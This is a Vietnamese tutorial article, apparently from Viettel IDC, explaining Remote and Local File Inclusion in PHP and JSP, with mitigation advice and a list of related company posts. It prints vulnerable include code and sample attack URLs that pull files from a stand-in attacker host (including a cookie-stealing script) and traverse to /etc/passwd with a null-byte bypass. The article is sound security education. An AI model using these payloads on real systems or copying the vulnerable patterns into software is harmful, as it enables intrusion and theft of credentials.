Tìm hiểu về tấn công khai thác lỗ hổng File Inclusion

19/10/2019

Lỗ hổng File Inclusion cho phép tin tặc truy cập trái phép vào những tập tin nhạy cảm trên máy chủ web hoặc thực thi các tệp tin độc hại bằng cách sử dụng chức năng “include”. Lỗ hổng này xảy ra do cơ chế kiểm tra đầu vào không được thực hiện tốt, khiến tin tặc có thể khai thác và chèn các dự liệu độc hại.

Hàm ‘Include’

Trước khi nói về chi tiết lỗ hổng, chúng ta cần hiểu sơ qua về một lời gọi hàm ‘include()’. Toàn bộ nội dung trong một file cụ thể sẽ được sao chép vào một file khác chứa lời gọi ‘include’. Phương thức này được sử dụng nhằm tránh việc code lặp và có thể sử dụng bất kì lúc nào. Lập trình viên thường sử dụng hàm include() nhằm thêm những dữ liệu, tệp tin mã nguồn dùng chung của các tệp tin trong ứng dụng. Những nơi thường được sử dụng như footers, headers, menu files … Dưới đây là một ví dụ đơn giản về hàm include.

1. Một menu trang như sau

menu.php:<?phpecho ‘<a href=”/home.asp”>HOME</a><a href=”/details.asp”>DETAILS</a><a href=”/contact.asp”>CONTACT US</a>;?>

2. Menu trang này có thể được sử dụng lại trong tất cả các trang của ứng dụng bằng cách dùng hàm include()

abc.php<html><body><div class =”menu”><?php include ‘menu.php';?></div><p>WELCOME</p></body></html>

3. Giờ thì file menu.php đã được bao hàm trong file abc.php, bất cứ khi nào abc.php được truy cập, nội dung trong file menu.php sẽ được sao chép vào abc.php và thực thi.

Tuy nhiên vấn đề này có thể bị tin tặc khai thác và tấn công trở lại website gây những hậu quả rất nguy hiểm. Đây là 2 lỗ hổng chính rất nguy hiểm liên quan đến hàm include()

  • Remote file inclusion
  • Local file inclusion

Lưu ý: Trong PHP có 1 số hàm cũng có chức năng tương tự, hay các hàm do người lập trình tự viết như: Inlude_once(), require(), require_once()…

Lỗ hổng Remote file inclusion

RFI cho phép tin tặc include và thực thi trên máy chủ mục tiêu một tệp tin được lưu trữ từ xa. Tin tặc có thể sử dụng RFI để chạy một mã độc trên cả máy của người dùng và phía máy chủ. Ảnh hưởng của kiểu tấn công này thay đổi từ đánh cắp tạm thời session token hoặc các dữ liệu của người dùng cho đến việc tải lên các webshell, mã độc nhằm đến xâm hại hoàn toàn hệ thống máy chủ.

Lỗ hổng Remote file inclusion trong PHP

PHP có nguy cơ cao bị tấn công RFI do việc sử dụng lệnh include rất nhiều và thiết đặt mặc định của server cũng ảnh hưởng một phần nào đó. Để bắt đầu chúng ta cần tìm nơi chứa file include trong ứng dụng phụ thuộc vào dữ liệu đầu vào người dùng.

1. Một trong những nơi chứa lỗ hổng có thể như ví dụ dưới đây, giá trị của ‘testfile’ được cung cấp bởi người dùng:

www.victim_site.com/abc.php?testfile=example

2. Mã nguồn PHP chứa lỗ hổng:

$test = $_REQUEST[“testfile”];Include($test.”.php”);

3. Thông số của ‘testfile’ được lấy từ phía người dùng. Đoạn mã sẽ lấy giá trị ‘testfile’ và trực tiếp include nó vào file PHP.

4. Sau đây là ví dụ về một hướng tấn công được sử dụng đối với đoạn mã trên:

www.victim_site.com/abc.php?test=https://www.attacker_site.com/attack_page

File “attack_page” được bao hàm vào trang có sẵn trên máy chủ và thực thi mỗi khi trang “abc.php” được truy cập. Tin tặc sẽ đưa mã độc vào “attack_page” và thực hiện hành vi độc hại.

Remote file inclusion trong JSP

1. Giả sử một kịch bản nơi một trang JSP sử dụng “c:import” nhằm nhập một tên tệp tin nào đó do người dùng cung cấp vào trang JSP hiện tại thông qua biến đầu vào ‘test’:

<c:import url=”<%= request.getParameter(“test”)%>”>

Tấn công:

www.victim_site.com/abc.jsp?test=https://www.attackersite.com/stealingcookie.js

2. Script độc hại trong stealingcookie.js sẽ được đưa vào trang của nạn nhân và điều khiển bởi tin tặc.

Tấn công Local file inclusion

Lỗ hổng Local file inclusion nằm trong quá trình include file cục bộ có sẵn trên server. Lỗ hổng xảy ra khi đầu vào người dùng chứa đường dẫn đến file bắt buộc phải include. Khi đầu vào này không được kiểm tra, tin tặc có thể sử dụng những tên file mặc định và truy cập trái phép đến chúng, tin tặc cũng có thể lợi dụng các thông tin trả về trên để đọc được những tệp tin nhạy cảm trên các thư mục khác nhau bằng cách chèn các ký tự đặc biệt như “/”, “../”, “-“.

Local file inclusion trong PHP:

1. Ví dụ đường dẫn sau có thể bị tấn công:

https://victim_site/abc.php?file=userinput.txt

2. Giá trị của biến ‘file’ được lấy vào đoạn mã PHP dưới đây:

<?php…include $_REQUEST[‘file’];…?>

3. Giờ thì tin tặc sẽ đưa mã độc vào biến ‘file’ để truy cập trái phép vào file trong cùng chủ mục hoặc sử dụng kí tự duyệt chỉ mục như “../” để di chuyển đến chỉ mục khác. Ví dụ tin tặc lấy được log bằng cách cung cấp đầu vào “/apache/logs/error.log” hoặc “/apache/logs/access.log” hay việc đánh cắp dữ liệu liên quan đến tài khoản của người dùng thông qua “../../etc/passwd” trên hệ thống Unix.

Trong một số trường hợp đặc biệt một phần mở rộng mặc định sẽ được thêm vào thông tin được đưa lên từ trình duyệt trước khi đưa vào hàm Include(). Cách tốt nhất tránh những phần mở rộng này là sử dụng byte rỗng kết thúc “%00” để vượt qua. Đây là cách được các tin tặc sử dụng để thực hiện hành vi độc hại và truy cập bất cứ kiểu file nào.

Ví dụ đầu vào được lấy từ đoạn mã sau và phần mở rộng mặc định là “.php”.

<?php“include/”.include($_GET[‘testfile’].”.php”);?>

Nếu tin tặc muốn truy cập một file không phải kiểu “text” chúng sẽ sử dụng một %00 (kí tự byte rỗng sau tên của file.

https://victim_site/abc.php?testfile=../../../../etc/passwd%00

Tương tự Local file inclusion trong JSP:

1. Giả sử URL dưới đây được yêu cầu trong ứng dụng và biến ‘test’ lấy dữ liệu đầu vào trong lệnh include:

www.victim_site.com/abc.jsp?test=xyz.jsp

Giá trị của biến ‘test’ sẽ được chuyển qua:

…<jsp:include page=”<%= (String)request.getParameter(\”test\”)%>”>…

2. Mũi tấn công dành cho đoạn mã trên có thể nằm trong một file database hợp lệ, được sử dụng như một đầu vào. Do có lỗ hổng local file inclusion nằm trong ứng dụng, file database sẽ được include vào trang JSP:

www.victim_site.com/abc.jsp?test=/WEB-INF/database/passwordDB

Khắc phục

Lỗ hổng xảy ra khi việc kiểm tra đầu vào không được chú trọng. Khuyến cáo riêng thì không nên hoặc hạn chế tới mức tối thiểu phải sử dụng các biến từ “User Input” để đưa vào hàm include hay eval.  Trong trường hợp phải sử dụng. với các thông tin được nhập từ bên ngoài, trước khi đưa vào hàm cần được kiểm tra kỹ lưỡng

  1. Chỉ chấp nhận kí tự và số cho tên file (A-Z 0-9). Blacklist toàn bộ kí tự đặc biệt không được sử dụng.
  2. Giới hạn API cho phép việc include file từ một chỉ mục xác định nhằm tránh directory traversal.

Tấn công File Inclusion có thể nguy hiểm hơn cả SQL Injection do đó thực sự cần thiết phải có những biện pháp khắc phục lỗ hổng này. Kiểm tra dữ liệu đầu vào hợp lý là chìa khóa để giải quyết vấn đề.

Tổng hợp

 

Tin liên quan

12/09/2023

Viettel IDC đáp ứng Nghị định 13/2023/NĐ-CP về Bảo vệ dữ liệu cá nhân

Với gần 78 triệu người sử dụng internet (chiếm hơn 79% dân số), Việt Nam hiện đang xếp thứ 12 trên thế giới về số lượng người sử dụng internet. Đi cùng sự phát triển mạnh mẽ của công nghệ và hạ tầng không gian mạng, việc bảo vệ dữ liệu cá nhân đang ngày càng trở nên đặc biệt quan trọng.

07/09/2023

Quản lý quy trình đa chiều an toàn, hiệu quả cùng Viettel CyberWork

Trong xu hướng chuyển đối số hiện nay, quản lý quy trình đóng vai trò quan trọng giúp doanh nghiệp tăng năng suất làm việc của nhân viên. Với sự gia tăng mạnh mẽ của số lượng dữ liệu và thông tin, việc duy trì quy trình truyền thống, thủ công không còn đủ để đảm bảo tính thích nghi linh hoạt.

06/09/2023

Viettel IDC đồng hành cùng Viettel Telecom xây dựng giải pháp hệ thống mail server trên AWS

Để đáp ứng về mặt hạ tầng cho các dịch vụ, Viettel Telecom đã tin tưởng triển khai giải pháp do Viettel IDC xây dựng, sử dụng Amazon Simple Email Service – Amazon (SES) tích hợp với hệ thống mail server và hệ thống phần mềm hiện tại của Viettel Telecom để gửi email tới khách hàng đầu cuối một cách nhanh chóng, chính xác và hiệu quả.

31/08/2023

Dịch vụ cho thuê chỗ đặt thiết bị chuyên nghiệp cùng Viettel Colocation

Giải pháp thuê chỗ đặt thiết bị chuyên nghiệp là sự lựa chọn thông minh, mang tính tối ưu cho các doanh nghiệp và tổ chức cần không gian vật lý để triển khai, quản lý máy chủ hệ thống công nghệ thông tin.

29/08/2023

Dịch vụ cho thuê máy chủ vật lý server chất lượng giá hợp lý - Viettel Server Leasing

Hiện nay, nhiều doanh nghiệp, cá nhân vẫn có nhu cầu sử dụng các hệ thống server vật lý riêng đáp đáp ứng các nhu cầu đặc thù, trong khi lại không có bộ máy để triển khai hoặc quản trị các hệ thống server vật lý này hoặc chi phí đầu tư, quản trị hệ thống cao, nhiều rủi ro phát sinh.

30/08/2023

Lưu trữ đám mây là gì? Ưu điểm và lợi ích khi ứng dụng

Một thực tế không thể phủ nhận là dù bạn có quen thuộc với các thuật ngữ như "Cloud Storage", "Lưu trữ đám mây", hay "Điện toán đám mây" hay không thì hàng ngày, khi tiếp xúc với công nghệ, chúng ta đều đã có sự tương tác liên tục với các nền tảng này.

23/08/2023

Viettel Drive - Giải pháp lưu trữ dữ liệu trực tuyến tốt nhất năm 2023

Việc lựa chọn giải pháp lưu trữ dữ liệu trực tuyến đòi hỏi sự cân nhắc kỹ lưỡng về yếu tố kỹ thuật, tài chính và phù hợp với mục tiêu kinh doanh. Sự đa dạng của các nhà cung cấp và dịch vụ lớn nhỏ có thể gây nhầm lẫn, khiến người dùng phải đối mặt với vô số lựa chọn phức tạp.

24/08/2023

Viettel CyberWork - Phần mềm giao việc tốt nhất cho doanh nghiệp 2023

Để đảm bảo hiệu quả tổ chức tối đa, phần mềm giao việc và quản lý hồ sơ dự án Viettel CyberWork đã được ra đời và phát triển mạnh mẽ như những "người bạn đồng hành" đáng tin cậy của các doanh nghiệp và cá nhân.

23/08/2023

Dịch vụ điện toán đám mây - Giải pháp cung cấp tài nguyên dùng chung tốt nhất hiện nay

Mặc dù dịch vụ điện toán đám mây là thuật ngữ đã xuất hiện trong vài năm gần đây, song những thông tin về chúng vẫn được nhiều người quan tâm, đặc biệt là các doanh nghiệp đang tìm kiếm một giải pháp quản lý toàn diện.

22/08/2023

Quản lý doanh nghiệp trong kỷ nguyên số cùng Viettel CyberWork

Viettel CyberWork được phát triển nhằm cung cấp nền tảng cần thiết, mang đến lộ trình chuyển đổi số tối ưu nhất cho các doanh nghiệp.

// doi link